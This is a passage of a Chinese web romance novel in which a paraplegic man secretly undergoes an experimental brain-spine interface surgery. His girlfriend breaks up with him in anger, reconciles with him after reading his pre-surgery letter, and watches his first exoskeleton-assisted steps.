宋知念没有理会谢医生,她们跟在谢医生身后,坐着电梯到了顶楼。 这是这座城市最繁华的新城,从楼上看去,人类都渺小地成为一个个正在移动的小黑点,街道上依旧车水马龙。 只有在他们所处的这片空间之中,被消毒水的气味无形的包裹着。 谢医生登记完,带着她们进入了室内。 隔着窗户,她们终于见到了傅瑾承。 他的身上又重新被接上了各式各样像是枷锁的管线,监护仪的数值稳定地起伏着,脸色苍白如纸。 “谢医生。” 宋知念抱起手,转头看向谢医生。 她的声音很平静,平静到像是询问着与自己无关的人。 “说说吧。” 第66章 “傅瑾承,我们分手吧。…… “半个月前的时候,我师兄联系我,说了脑脊接口手术临床试验的消息。”谢医生按了按太阳穴,叙述道。 这个手术就是通过微创手术在脑和脊髓之间利用电极,在受伤的部位之上,搭建一条“神经桥”。 今年初的时候,脑脊接口才刚刚在沪城的医院完成临床概念验证,下半年才投入临床试验。 “傅总知道之后,就从我这里要走了所有的材料。”谢医生说道:“他看了所有的资料,大概花了一周左右的时间做下了最后参加的决定。” 除了谢医生之外,没有人知道傅瑾承做了这么一个决定。 即使是宋知念。 傅祈安悄悄地看了眼宋知念。 他哥哥做的手术太多了,知道手术成功而且可能对康复有帮助后,傅祈安就从对兄长的身体的担忧转移到了另外一个方面。 宋知念抱着手站在玻璃窗前,她的脸上即没有愤怒,也没有悲伤,毫无波动的如同在看一位陌生人。 傅祈安心里有些七上八下的。 “脑脊接口的受试资格并没有那么容易,傅总做下决定后,我就马上联系了我的师兄。” 脑脊接口概念验证之后,一开始参与报名临床试验的人有很多,对受伤的高度也有一定的要求。 但是后面因为各省的顶尖医院都开始参与尝试,所需的受试者人数也增加了不少。 傅瑾承也就是借这个短暂的扩张,加入了进去。 “他的各方面条件都还算符合,所以在四天前经过一系列检查和评估之后,在今天做完了手术。” 按照医院的要求,傅瑾承本来还要再往后排一些,但是傅瑾承不敢赌后面宋知念以及傅祈安她们是否忙碌,只能紧赶慢赶选了今天。 谢医生看向屋内,感慨道:“确实是一场精妙绝伦的手术,手术目前是成功了,但是后期会发生什么、能够康复到什么程度。” 说到这里,他停顿了下,犹豫道:“说实话——我们也不知道。” “按照傅总自己的话来说,总不会差过现在就是了。” 就是因为科学的前方是未知,所以才会进行一次又一次的试验,去不断攻克突破人类、宇宙、科技的难题。 顾书屿靠在墙上,抬头看了眼傅祈安。 “谢……”傅祈安正想要开口,却看到顾书屿摇摇头,示意他不要开口。 走廊之中陷入了一片沉默。 过了许久,宋知念终于还是打破了这场寂静: “他什么时候醒来。” 谢医生估算了一下,琢磨道:“大概明天早上。” “那明天早上再来。” 宋知念没有怎么犹豫,她转过身,看向剩下两人,平静地询问道:“你们去傅家休息,还是回家?” 傅祈安和顾书屿在傅家都有客房,夜已经深了,他们也懒得来回跑,干脆都去了傅家临时休息一下。 两边高楼之中的灯火渐熄,三个人一路都没有怎么说话。 宋知念把两人送到傅家,开到自家停车场后,这才完全放松了下来,像是脱力一般,趴在了方向盘上。 后怕和惊慌在这时才涌上她的心头,混合着熬夜的不适,她觉得自己连开车门的力气都没有。 她几乎是跌跌撞撞地完成了洗漱,躺回到了床上。 宋知念深吸一口气,空气之中似乎还有几日前他留下的气息,她抱住枕头,将自己蜷曲在一起,任由那些泪水滚落于她的脸颊,隐于枕间。 她忍不住恨恨地想: “傅瑾承,你真的是好样的。” 眼前的光影朦胧而模糊,灯影斑驳的在眼中散落成片,令人分辨不清眼前的情景。 傅瑾承的恍惚间,便听到了宋知念的话。 他挣扎着睁开眼,就看到宋知念抱着手站在他的床边,眼底是一片冰冷。 “念念。”傅瑾承闭上眼再睁开,确认眼前的人是不是幻觉,他苍白的嘴角努力地勾了勾: “还是被你发现了。” “为什么不告诉我们。”宋知念没有理会傅瑾承的示弱,她冷声道:“你难道不知道危险吗?” 这是一个还在进行试验的手术项目,没有人知道这场手术的成功率,也没有人能够知道最后的结果能否成功。 “我知道,我就是。” 傅瑾承微微摇了摇头,看向宋知念。他的手在被褥上动了动,还是上前去拉住了宋知念的衣角,他的声音干涩嘶哑:“我就是,不想让你们担心,也怕你们不同意,这才……” 就连谢医生都不建议他冒险,何况他们。 又是不让他们担心。 一直以来都是不想让他们担心。 宋知念心中的火几乎已经越燃越烈,她冷哼一声:“傅瑾承,这些事情你都自己一个人解决了,那你要我干什么?你要傅祈安干什么?” “我们在你眼里,到底是多么不堪?” 她质问道:“你费了那么大的心思,就是为了隐瞒我、隐瞒我们?” 如果什么事情他都一人解决了,那他还要女友、弟弟和挚友,干什么? “我没有……” 他是真的没有,他专门选好了时间,就是打算一周时间短暂地消失一下。 可他真没想到,宋知念竟然提前忙完了。 傅瑾承知道宋知念必然会愤怒,他尝试着将手指勾在她的衣角,想要去勾取她内心的柔软 听到他的话,宋知念冷笑一声,往后退了一步,刻意避开了他。 傅瑾承的手没了借力,从空中滑落。 “如果你是这样看待我、看待这段感情的话,那我们还是……” 她站得离他远远的,几乎是冷静到冷酷的,对着傅瑾承宣布了她的决定。 “傅瑾承,我们分手吧。” 傅瑾承微微睁大了眼睛,他看到了宋知念转身离去的背影,他想要去拉她,他用手撑起抬起身体,却被那些输液管束缚在了床铺上。 “念念,别走。” 那些管线太过碍事,傅瑾承蓄了力气,用力一扯想要挣脱。 头部、腿上和背部的连接仪器发生移动,发出尖锐的报警音。 宋知念的脚步停滞了一下,但她没有回头,而是径直离开了病房。 而他身边却被鱼贯而入的医生所包围,白大褂层层叠叠地包围住了他。 “让我过去,让我过去……” 傅瑾承想要挣扎着起身,那些线被他胡乱地缠成了一团,就连原本针头的位置都发生了偏移,戳到了旁边的肌肉之中,鼓起一个小包。 傅瑾承被医生按回了床上,他们不放心,又拿束缚带绑住了他的四肢,将他牢牢控制在了床上。 那一句别走,也仿佛如同波浪的泡影,在转瞬间,消失得无影无踪。 傅瑾承被压着躺回床上,眼前头顶的灯光是如此的刺眼,刺得他眼睛生疼。 他想,她是不是不会回来了。 * 宋知念一连几天的脸色都不太好,即使第一期社区夜校的第一课顺利完成,她也是浅浅地笑了笑,看着高雅琴小语她们在一旁庆祝,自己的脸上却没有其他过多的欣喜。 她们将二店的垃圾一起收拾好,高雅琴去主店锁门,宋知念留下来整理一下器具。 夜晚的社区安静祥和,刚刚还热闹非凡的房间之中转眼就寂静无声,宋知念正在专心收拾,突然一声男声的传来,把她吓了一跳。 “念念姐。” 宋知念猛地抬头,看向门口。 眼前的这一幕让宋知念倍感熟悉。 只是那时候来的是顾书屿,现在来的 是傅祈安。 大门处,傅祈安略有些狼狈地出现在她的店门口,他的衬衫领口处被揉成了一团,平整的西装上到处都有褶皱。 不像是公司之中的精英,更像是从角斗场上下来的一样。 “你这是?” 傅祈安拉扯了下自己的西装,有些无奈地指了指领口和袖口处的褶皱:“一个我爸,一个我哥。” 领口是被愤怒的傅行止拉扯住的,在他被人带走之前,傅行止已经听到了风声,但时间已经不允许他逃离,他只能冲去傅祈安的办公室,厉声质问自己的二儿子为什么要这样对自己。 袖口处是因为傅瑾承。 “念念姐,”傅祈安叹着气,问出了和那时几乎同样的问题: “你能去医院看下我哥吗?” 每天的治疗仍然在继续,甚至是在术后的第二天,在仪器开机的情况下,实现了脑控抬腿。 但是或许是因为分手的原因,又或许是又一次回到了二十四小时都明亮的病房之中,借着仪器脑控抬起腿的喜悦并没有影响到傅瑾承。 相反,他的心理状态也越来越差。 傅瑾承这几天除了去复健室参与试验之外,几乎是被束缚在床上度过的,一旦解开了对他手的束缚,他就会想拔了自己身上的仪器离开医院。 谢医生的师兄担心他的心情会影响试验效果,拐着弯地催促谢医生和傅祈安把人劝来。 “祈安。”宋知念等傅祈安说完,这才开口说道: “你应该知道,我和你哥已经分手了。” 傅祈安当然知道,傅瑾承每天晚上在夜间都会睡不安稳,迷迷糊糊就在喊她的名字,再加上几声哀求般地不要走。 他最近吃的药又变了,有些药虽然可以起到修复神经止痛的作用,但是也会影响到他的精神。 “这是我哥上手术台前写的,是给你的。” 傅祈安见宋知念不说话,他只能拿出一封信,递给宋知念:“念念姐,要不,你看一下再决定吧。” 宋知念接过信,这信还没有拆封,只能凭感觉觉得里面是厚厚的一叠信纸。 她那信纸刀割开,展开信,看着。 时间一分一秒地过去,只留下纸张沙沙的翻页声。 傅祈安焦急地等待着宋知念的决定,他瞄了几眼那封信,也只能看到密密麻麻由大变小的字。 那一次,宋知念选择了拒绝。 而这一次,宋知念沉默了许久,才抬起头道: “我和你去。” 第67章 第67章“请原谅我自私的选择,…… 仪器在身边发出滴滴答答的声响,傅瑾承紧闭着眼,蹙着眉躺在床上。 他的身上似乎看不出这场手术后的好转,脸色苍白如薄纸,手被僵硬地束缚在床的两侧。 谢医生经过门外的玻璃窗,看见傅瑾承床边的宋知念,他愣了下,还是开了门进来。 “宋小姐,您来了?” 宋知念回过头,发现谢医生脸上的颓废并没有比上一次好上多少。 听傅祈安说,谢医生这几天也被傅瑾承折腾得焦头烂额。 傅瑾承在用仪器尝试活动的实验环节都能表现出极高的配合,但是一旦离开康复室回到病房,他的情绪就会因为无法出院而产生比较大的波动。 就这么折腾了几回,就连谢医生想要自己去找宋知念,哭着喊着求她回来了。 “谢医生。”宋知念回头,笑笑:“这几天辛苦了。” 她虽然气愤谢医生把人带走的事情,但她也知道,如果不是傅瑾承的要求,谢医生并不会如此做。 “没事没事。”谢医生连连摆手:“都是我应该做的。” 他看到宋知念正看着熟睡的傅瑾承,只能叹了口气,委婉地解释道。 “这几天他精神不好,下午让他服用了几颗安眠的药物,应该过一会儿就会醒。” 这一点傅瑾承还是听他们的,他知道自己要听从医生的安排定时服用药物,也会老老实实去复健室参与各项数据记录。 “我知道了。”宋知念点点头。 看宋知念并没有要离开的意思,谢医生从旁边拉了张凳子,摆到床边:“您坐下休息会吧。” “好。”宋知念点点头。 谢医生叹了口气,离开病房。 随着谢医生的离开,房间之中再次陷入一片沉寂之中。 方才傅祈安把宋知念送到门口就离开了,临走时就将傅瑾承这几天大致的作息告诉了宋知念,便急匆匆地离开了。 在傅行止被带走之后,集团中留下了一堆烂摊子,他还要赶着回去继续开会商讨集团公告和后期的人员调整,临时来请宋知念过来,也只是忙里偷闲赶来的。 宋知念坐到床边,沉默地看着傅瑾承,她从包里拿出那封傅祈安刚刚给她的信。 或者,那不能说是一封信、一封情书。 如果非要说的话,那更像是一封遗书。 一封在不确定自己面对生还是死的时候,留给她的最后寄托。 在那封不长的信里,他将自己的一切都交代得清清楚楚。 也将自己那三年的痛苦,剖析得明明白白。 “念念,我的一生都在被别人推着走,从年幼时期的父母、到年少时期身后的弟弟、到长大之后身后庞大的集团。我从来都知道,我不能倒下,最起码,傅瑾承不能倒下。” “祈安曾经问过我,为什么不干脆和傅行止鱼死网破,可即使我愤怒于傅行止,我也不能让祖辈的心血被他一人之贪心毁于一旦、不能让那么多的员工因为我、我们的原因失业。” “谢医生总说我,出了事故还能活下来,还能得到你的原谅,我就应该感谢上天的恩赐了,就不要奢求太多,不要总想着一蹴而就、不要总想着还在试验阶段的手术,不要总想着回到过去。” 可是念念,我做不到。 我从来,没有办法不会怀念我的过去。 “如果我不曾在阳光下奔跑,那我或许不会认为轮椅之上的生活是束缚;如果我不曾站着拥抱过你、如果我不曾度过那般鲜活的岁月,那我或许不会认为只能枯坐着的人生就是荒芜的等待着死亡的过程。” “念念,我知道你气愤于我出事之后对你的隐瞒,我也知道,你会愤怒于我这一次对你的欺瞒。但是念念,我早就已经不想过这样的生活了,我曾经无数次哀求着试图奔赴死亡,但是每次都被你们连拖带拉地拉回到了这个世界。” 这个手术,是一次机遇,也是一次挑战。 “如果我真的没有办法活着走下手术台……请不要为我悲伤,因为那也能证明,一个被命运抛弃的人,在人生的最后,为所有和他一样的截瘫患者摆脱这样可悲的生活做出了自己的贡献。” “念念,请允许我的私心。” “我祈求你能够记住一个名叫傅瑾承的人,在曾经、在现在、在未来的以后都爱着你,他不想让你流泪,所以选择了欺骗,他知道自己自私的欺瞒你的选择是错误的,可是他只想选择走一次自己生命的路。” 即使这条路一去不复返、即使这条路未知而恐怖。 “请原谅我自私的选择,请原谅我自私的爱。” “对不起,念念。” 宋知念沉默着看着这封信,拿着信的手都开始颤抖。 她沉默地注视了他许久,最后还是将信放到一边,把自己的脸埋在了傅瑾承的掌心之中。 他的掌心冰冷,手腕被完全地束缚在床边的扶手上,宋知念解开他的束缚带,用自己的手心当作他的支撑。 束缚带下手腕上已经是一片通红,在他的手肘上甚至还能看到些大块的瘀青,足以见傅瑾承的用力。 “傅瑾承,你真的是,” 她带着哭腔的声音颤抖着:“你真的是,疯了。” 宋知念早就知道自己恨不了他,三年前是这样,三年后也是这样。 作为文学系毕业的学生,她就连能想来骂他的话都是最为通俗易懂的疯子有病。 明明在知道消息的那一刻气得要死,明明刚刚说过了分手,可是她却还是会对他心软。 傅瑾承在迷迷糊糊之中感受到了掌心液体的流淌。 她的眼泪很烫,一点一滴地落在他的手中,傅瑾承的手指颤了颤,直到眼泪在他的手心中积累成小潭,他才分辨出了梦境和现实。 是她。 “念念。” 傅瑾承微微睁开眼,药物的作用让他精神并不好,眼前的还时不时正在虚晃着,但他还是侧过了脸,努力想要看清宋知念:“别哭了,念念。” 他的声音渐渐清晰,宋知念放下他的手,露出一双已经通红的双眸。 她的脸颊上还挂着泪,眼角的泪水将落未落。 见傅瑾承醒来,宋知念愣生生憋进去了自己的泪水,她就这么盯着他看了半天,却什么话也没说,拿了信起了身就想走。 但傅瑾承早就已经猜到了宋知念的打算,就在宋知念起身那刻,她才发现自己的手腕已经被傅瑾承抓住了,他对着她哀求道: “念念,别走。” 她的手腕在他的手中,傅瑾承的手指忍不住收拢了一些,手指在她的皮肤上摩挲着。 “是我的错。” 像是怕被她再一次抛弃一样,副瑾承的眼角微红,连拉着她的手都在颤抖。 “傅瑾承。”宋知念停顿了片刻,她甩了甩手,却发现自己挣脱不开傅瑾承的手。 她这才转回身体看向傅瑾承,问:“你知道我为什么会发现你不在吗。” “不知道……” 他计划明明都很顺利,就连傅瑾承自己都不知道,为什么会被宋知念发现。 “因为那一天,我刚刚和几个社区机构定好了所有的合作细节,我很高兴,想要来告诉你这个消息。” 宋知念没有坐下,她居高临下地看着傅瑾承,声音还有微微的沙哑:“结果到了你家才发现,你不见了。” 她是抱着兴奋、幸福的心情前来找他,却只看到了满地的落叶和满室的空寂,以及电话那头绵绵不断的忙音。 “傅瑾承,我对你有信任,但是你呢?” 她一声声质问着,眼泪从她的脸颊流下:“你呢?你有信任过我们吗?” 宋知念越说越生气,连信中的那些话都让她恨得牙痒痒。 什么不要为他的死而悲伤,什么自私的爱,这几天他的消失和隐瞒总让她想起这三年的种种,宋知念用空着的手去扒傅瑾承的手: “你放开我!” 傅瑾承的脸上闪过慌乱,他拉着宋知念不想放开,但宋知念的质问让他几乎无从隐藏。 “我错了。”傅瑾承只能下意识地哀求道:“念念,别走好不好。” 傅瑾承的手并没有什么力气,加上前面她哭泣时流下的泪水,湿滑得几乎抓不牢她的手腕。 他只能眼睁睁地看着,宋知念的手从他的掌心之中渐渐地滑落。 宋知念挣脱了他的束缚,转身就想要离开。 她刚往房门口走了几步,却听到后面一声巨响以及一声闷哼。 宋知念被这声响吓得一惊,她转身看去,却看到傅瑾承已经倒在了床下,他的一只手因为有束缚带的原因,还扭曲地悬挂在床边,整个人不自然的瘫倒在地上,呈现着诡异的姿势。 “傅瑾承!” 宋知念按下按铃,几步跨到床边,跪坐在他面前。 他的手臂悬挂得太过别扭,几乎是被反扭过来。 宋知念赶忙伸出手解开了束缚带,因为重力的缘故,手腕上的皮肉已经有了明显的红色勒痕,在边缘处还有些擦伤。 “阿承。” 宋知念的手穿过他的胳膊,帮助他稳定住重心,她有些焦急地询问道:“你有没有哪里感觉不舒服?” 重心的改变让他大脑一阵眩晕,身上的神经痛正蓄势待发,但傅瑾承并不想说,他本想摇摇头,却在摇头的第一刻,想起她的话,控制住了自己: “头疼,身上疼。” 神经痛的痛楚又一次席卷而来,傅瑾承咬着牙,只得瘫软在宋知念身上维持住身形。 他闭上了眼睛,痛苦地承认道: “念念,其实我也害怕。” 第68章 第68章“念念,我终于,‘走’…… 怎么会不害怕呢。 即使再怎么无坚不摧,在生死面前,他也是个普通人,也会畏惧冰冷的手术室,也会害怕未知的手术。 可傅瑾承害怕的,远远不止这些。 剧烈的疼痛让他眼中的血丝越发的重,那些话如同在这段时间之中已经刻在了脑海内,在他此时最为痛苦和虚弱的时候,也只能下意识地重复着: “念念……不要走……不要离开我。” “我不走,傅瑾承我不走。” 神经的疼痛让他在她的怀里几乎蜷缩成了一团,宋知念手无措看着他倒在自己身上难受的呻吟,但她能做的只有不断帮他顺着气抚着背。 她脸上原本的气愤已经完全被惊慌所取代:“我去喊医生好不好,你稍微等下。” 他以前不是没有痛过,但是痛成这般模样也是少见。 傅瑾承摇了摇头,他的手抓着她的衣领,艰难道:“不要去……” 不要去,他怕她去了就再也不会回来了…… “好好。” 她气他的隐瞒,气他的自我决定,可是眼见他痛苦,她却心如刀绞。 宋知念只能将他抱得更紧,她的侧脸靠在他的额间,不断亲吻着他布满冷汗的额头,泣道: “我陪着你,我哪都不去。” 闻讯赶来的谢医生冲进病房,看到的就是眼前的这一幕。 他的病人倒在地上上半身被宋知念抱着拥入怀里,两人交颈着,宋知念的哭声给这个场景愣生生贴上了些生离死别的味道。 谢医生:虽然很唯美但是大可不必如此。 祖宗,真的是他的祖宗们。 谢医生和护工一起把傅瑾承搬到了床上,护工本想重新给傅瑾承系上束缚带,却被正在检查地谢医生摆了摆手,制止了。 “没事。” 人回来了,束缚带也就不用了。 谢医生看了眼躺在床上的傅瑾承,一向回了病房就闹着要出院的傅瑾承此时被宋知念乖乖地牵着手,看上去无比乖巧,哪有前几天凶神恶煞的模样。 谢医生:6。 眼不见心不烦,谢医生弯下腰,继续检查傅瑾承身下的是否有受伤。 好在,除去一些淤青外,没有看到其他伤口。 “没什么大事。”谢医生对宋知念说道:“一些淤青,我待会来拿药酒擦一下。” 宋知念点点头,两眼通红地感谢道:“好的,谢谢。” 傅瑾承本来有些不满宋知念的注意力被谢医生带走,他挠了挠她的手心,想要吸引她的注意力,却听到谢医生的声音。 “护士站有冰袋,我待会一起拿来。”谢医生指了指宋知念的眼睛:“你待会隔着毛巾敷一下眼睛。” 宋知念点点头,她感受到了掌心之中傅瑾承的作乱,拍了他一下,示意他安静。 傅瑾承有些不满,但还是老老实实地停止了动作。 他也确实看到了宋知念的眼睛,她的眼眶边已经有了微微的红肿。 如果现在不敷,明天肯定会难受。 谢医生很快回来,他交给宋知念一个冰袋和一条毛巾,自己则拿了药油给傅瑾承按压腿间的淤青。 冰袋冰的宋知念一哆嗦,她刚想先暂时找个地方放着,却看到有只手拿走了她面前的冰袋。 傅瑾承抿了抿嘴,他拿着冰袋抬了抬手,但一躺一坐之间还是有距离的差距,他只能低声道:“念念,能不能靠近我一些。” “唔。” 宋知念看了眼谢医生,见他正专心致志给傅瑾承擦药膏,她也就顺从地低下头让他给自己敷着眼睛。 敏锐的谢医生立刻意识到了 屋内气氛的改变,他并不想做play的一环,只得迅速抹好像逃跑一样离去,跑路之前还不忘贴心地给他们两个关上了房门。 等宋知念眼眶的红肿消去得差不多了,傅瑾承才停止了自己的动作。 宋知念睁开眼,就见傅瑾承将冰袋放在一边,一只手却仍不忘拉着她的衣服,眼睛一眨不眨地盯着她看。 像是怕她跑了一样。 “还疼吗?” 宋知念摸摸他的额头,叹气道。 傅瑾承的目光有些疲惫,额上还有方才的冷汗。 他定定地看着她了一会儿,才摇摇头,又点点头。 手术之后的神经痛的频率已经有所缓解,但是许久未接收到刺激的神经格外敏感,每次一旦发作,都比之前疼上几倍。 “疼。” 他慢吞吞地牵着她衣角,又将手往她的手上转移。 宋知念握住了傅瑾承的手,干脆爬到了床上,躺到傅瑾承的旁边。 他的单人病床虽然比普通的单人病床大了一些,但还远远没有到双人床的规格,两个人就这么侧着躺着,加上旁边那堆维持傅瑾承侧卧位的枕头,也还是拥挤了一些。 宋知念转了个身,决定干脆侧躺到傅瑾承的怀中。 傅瑾承懵懵懂懂抬头看着她,但在她进入自己怀里的第一刻,他还是熟练地环上了她的腰肢和肩膀。 怀中的身体温热,鼻尖满是熟悉的香气,傅瑾承深深地吸了口气,靠在她的肩上。 “对不起,念念。” “我知道你讨厌欺骗。” 他蹭了蹭她的脸颊,沙哑地说:“我不会再瞒你任何的事情了。” 说完,他感到到脖颈处一阵刺痛,这股刺痛来得突然,让他忍不住发出了一声闷哼。 但傅瑾承没有挣扎,只是任她咬着。 直到她终于松开了口,傅瑾承白皙的脖颈上出现了两排整齐的牙龈,这两排牙龈很深,足以见宋知念用的力气。 “傅瑾承。” 宋知念从他的怀里抬起头,她看着他的眼睛,一字一句地说道:“你听好了。” “能不能痊愈、能不能走路、能不能康复,这些对于我而言都不重要。” 她从来都在乎的不是他的身体,而是他的这个人。 “我只要你好好地活着。” 只要他能够活着,只要他还能对她笑、对她哭,就已经足够了。 傅瑾承低头看着她,她的目光灼灼,被泪水洗过的眼眶还有潋滟之感,双额互相抵着,他听到她说。 “活着,然后……娶我。” 她的目光是如此的璀璨,像是在给他指引着前方。 他想娶她,他无比地想要和她永远在一起。 在他三年前给他们规划的未来之中,就有结婚的这个愿望。 傅瑾承将脸埋到了她的肩上,潮热的液体不断滴在她的衣物上。 在那一刻,颠沛流离的灵魂,终于找到了归宿。 “好。” * 手术做完后的两周后,傅瑾承出院了。 因他参与的是试验项目,所有的治疗和复健都需要在团队的观测下进行,所以这次出院之后,他必须每天早上往返于家与医院。 宋知念在听说傅瑾承可以脑控抬腿之后本想来看看,却在看到人山人海的团队之后望而却步。 毕竟,无论哪一个人敲门之后看到里面十几二十号人齐刷刷注视自己的感觉都实在太过复杂。 好在除了几名教授副教授之外,剩下的团队成员大多是他们自己的博士和硕士研究生,宋知念让小语送了几次咖啡之后,大家的关系也开始变得熟络起来。 傅瑾承的脑控抬腿离不开设备,遍布在他身上的设备繁琐而复杂,从头戴到脚踝手腕的,有些是脑脊接口的设备,有些则是监测数据的设备。 他做手术已经半个多月了,辅助行走、跨越障碍的训练也已经开始。 傅瑾承每天光耗在复健的时间上就是六七个小时,等宋知念去店里转了一圈,快到傍晚过来的时候,复健室之内的人已经不多了。 房间内只有坐在小椅子上的谢医生和他师兄,还有几名他师兄带的博士生正站中间的双杠旁,应该是为了进行随时的记录和辅助。 但中间的人影,似乎有些看不清。 宋知念敲了敲门进去,却当场愣在了原地。 康复室的最中心有一架双杠,但是在这个双杠的中心,傅瑾承正站在双杠之中,扶着双杠,拖着身旁和身上的仪器,艰难地迈着步。 他迈的步子很小,从腰到腿的外骨骼机器控制住了他的步态也协助了他的行走,但因为足下垂的缘故,他甚至迈一步都是颤颤巍巍的落地。 宋知念忍不住上前一步。 她真的已经,好久,没有看到这样的傅瑾承了。 她不是没有见到过直立床、外骨骼行走机器人上的傅瑾承,但是宋知念明明白白地知道,这和那些都不一样。 一旁的谢医生已经注意到了宋知念,他招呼了下,让房间内的其他人都暂时先离开复健室,给他们两人一个独处的空间。 房间内的医生从她的旁边走过,走在最后的谢医生宽慰地拍了拍她的肩膀,“去吧。” 她走到了双杆的一头,离他不过是两米不到的距离。 宋知念想要直接走到傅瑾承面前,却被他拦住。 “等我过来,念念。”他的上身已经被汗水浸湿,却轻轻弯起眼睛,温柔地着看向她: “让我到你的面前。” 不过一米的多距离,常人两三步的距离,他却“走”了快十分钟,才真正地走到她的面前。 宋知念不放心地盯着他,直到傅瑾承终于站定在她面前,含笑着对她张开手,她这才上前了一步,一把抱住他,将脸埋在了他的怀里。 每天六七个小时高强度的复健,每天从早到晚的理疗,每天配合团队的记录调查,光他每天身上拖着的线路、戴着的外骨骼加起来也有几公斤重。 虽然他还不能脱离辅助,虽然他还不能脱离机器。 但是—— “念念,我终于,‘走’到你面前了。” 第69章 第69章“念念,痛。” “阿承,会不会不舒服?” 宋知念向后退了一步,手置于他的腰间,她的指尖缓缓摸着他腰间的机器,和机器下被束缚着皮肤。 那是不属于人类身体的冰凉与僵硬,钢筋组成的外骨骼支撑起了他的下半身,却将他自身的骨肉捆绑于机器之间。 傅瑾承摇了摇头,垂着眸看着她:“那里没有什么感觉。” 没感觉,并不代表不会受伤。 宋知念拨开了在钢筋下褶皱的衣物,她掀开衣服的一角,果然看到了他皮肤上挤压和皱褶折叠形成的压痕。 “我让医生你放下来,我们先给皮肤上药,好不好?” 宋知念抬手摸了一圈傅瑾承的腰部,他的腰部都被扣子死死地锁扣在了一起,加上腿部,要上药的地方应当并不少见。 傅瑾承却并不愿意。 他已经太久,没有从这个角度看着她了。 一直以来躺着的仰视抬头,让他都已经忘记了自己的原本的身高,也已经忘记这般低头把她抱入怀中,垂眸看她的感受究竟是什么。 “我不想被放下来。” 傅瑾承的下颚抵住了宋知念的发丝间,他蹭了蹭,将脑袋完全搭在了她的头上。 “我想,在这样抱着你。” 他的身体已经不如曾经那康健,这样站着拥抱着他,宋知念也能摸到他背部嶙峋的脊骨,还有控制着他脊骨的悬吊装置。 “那。” 宋知念踮起脚尖,在傅瑾承的嘴角亲了亲,她笑盈盈地看着他:“就再让我们傅总抱一会儿。” 傅瑾承的胸膛微微震动,他低低地笑了笑,唇从宋知念的耳垂边擦过:“谢谢宋小姐。” 他的站立基本依靠的是悬挂的装置和下身的外骨骼,机器可以矫正他的站姿走姿,但是却不能改变他肌肉的萎靡和肌肉的张力。 宋知念站在一旁,看着医生从他的身上层层解开、从腰间到下身的外骨骼,再 将轮椅推到双杠的一边,解开他身上悬挂的束缚。 医生还要给他进行关节的活动,等关节活动好,他们才退出理疗室。 宋知念从谢医生那边拿了药膏,回了家的第一件事情,就是把傅瑾承赶到了床上,掀开了他的衬衫。 前几日留下的红印仍然都在,有些地方甚至已经开始发青,新的红痕又再一次压在了旧伤口之上,新旧累积在一起,在惨白的皮肤上显得分外的明显。 傅瑾承靠在床头,低头看着宋知念的动作。 那些伤口并不疼痛,印记也只是看着可怕,黄色的药油渐渐填满那些一个个小印记的沟壑之中,又顺着他的皮肤沾染到她的指腹上。 他感受过她的指腹,柔滑细腻,每每当她抚摸过他那些还存有知觉的肌肤,总是会激起肌肤的颤栗。 可是现在,傅瑾承也就只能那般看着,他知道她抚摸过的是自己的肌肤,也能想象出她的触感,可他却毫无任何的感觉,如同在看她抚摸着一块与自己毫不相干的白肉。 腰间压痕的主要集中在腰腹的两侧,宋知念按好了腰的两侧,正打算探下身去,却被傅瑾承拦住了。 他的手按在了她的肩膀,又向下向内抱住了她的上身,像是想要将她拉上来。 傅瑾承的动作来得突然,宋知念一时不差,沾着药油的手差点滑落于床上。 “诶,诶。” 宋知念举着手张着五指对着傅瑾承示意:“别闹了,我手上还都是药油呢。” 他不说话,只是眼帘微垂,睫毛微微地颤动,却固执地看着她:“那不涂了。” 反正涂了也不会好,他下身的伤口都好得慢,再怎么涂,也加快不了多少皮肤的修复。 他干脆拿了床边的湿巾,想要拉住她的手,宋知念无奈,只能往上移了移,任他仔细地给自己一点点擦去手中的痕迹。 傅瑾承的手比宋知念的大上一圈,那么一握就能将她包裹在其中,他一擦完,就将手指钻入到了她的指缝之中,和她紧紧地交握住。 “念念。”傅瑾承的声音干涩嘶哑,他紧紧看着她,目光晦暗。 “如果我做了这个手术,也没有办法感知到你,也没有办法有任何的好转的话,那我该怎么办……” 无论是脑控抬腿还是辅助行走,都是凭借着脑脊接口的仪器才进行的能够进行,他能清楚地知道他的腿部在动是因为大脑的指示,但是动起来是什么感觉,他却只能靠想象去弥补。 虽然目前说第一例做这个手术的患者已经开始有了部分的知觉,但是…… “如果这个手术对我毫无成效,怎么办?” 傅瑾承有些迷茫地看向宋知念,他眼中带着痛苦与无措。 手术前他自己曾经说过,最差也就是如此了。 可如果不是抱有一定的希望,谁会去做这样还在试验性的手术呢? 现在,他只能感受到更加剧烈的神经痛,和更加未知的未来。 “念念,你说,我该怎么办呢?” 宋知念正跪坐在他的腰腹处,她的下身依旧是软绵的肌肉,她将手从傅瑾承的手中钻出,重新坐了坐,捧住了他的脸颊。 “傅瑾承。” 她一个字一个字吐着他的名字,语调温柔却又缠绵。 “如果这一切没有作用,那我们就重新开始。” 宋知念的手指从他的耳垂边划过,最后她的两只手,一起抬起了他的脸颊。 傅瑾承的目光有些躲闪,宋知念并不让他逃离,她注视着他的眼睛,缓缓说道: “如果脑脊接口不行,那我们就去看看干细胞疗法,如果杭城不行,我们就去沪市首都,如果都不行,那我们就继续等待,等待到科技、科学可以解决的那一天。” 傅瑾承的手绕过她的腰,宋知念低下了头,凑近了他的脸颊低声说道:“一天不行就一个月,一个月不行就一年,一年不行就十年……” “而我,会陪你等到那一天的出现。” 宋知念的话音刚落,身下的傅瑾承猛然抬高了头抓住了她的红唇。 他的动作带有侵略性的不同拒绝,却温柔地描摹着他们唇之间的交界。 他细细的用舌尖勾勒出了她的唇线,攻城略地般迅速地入侵了其中,他粗粗地喘着气,眼睛却一眨不眨地盯着她看。 宋知念渐渐抽离开了这个吻,示意他看着自己。 她坐在他的身上,他们的身体隔着衣服紧贴在一起,他能看到她的身体正将自己这具毫无知觉的身体牢牢抱住。 “你看。”宋知念轻声说:“如果你感受不到,就用看,如果看不到……” 她的手顺着他的脸颊向上,遮住了他的双眸。 他顺从地在她的掌心之中閤上双眼,手却被她拉着,放在了自己的腰腹之间。 他能够清晰地感受到两具身体的温度差别。 宋知念的声音,离他又近了那么一些,带着些引诱的虚缈感。 “如果看不到,那就用——” 宋知念咬了咬傅瑾承的嘴角。 “摸。” 就算没有感觉也没有关系,你依旧还能看到我,还能亲吻我,还能用手、用身体来拥抱我。 傅瑾承侧了侧脸,他敏锐地感受到了她的唇侧,再一次捕捉到了那偏于他而言是奖励、是桃源的唇齿之地。 * 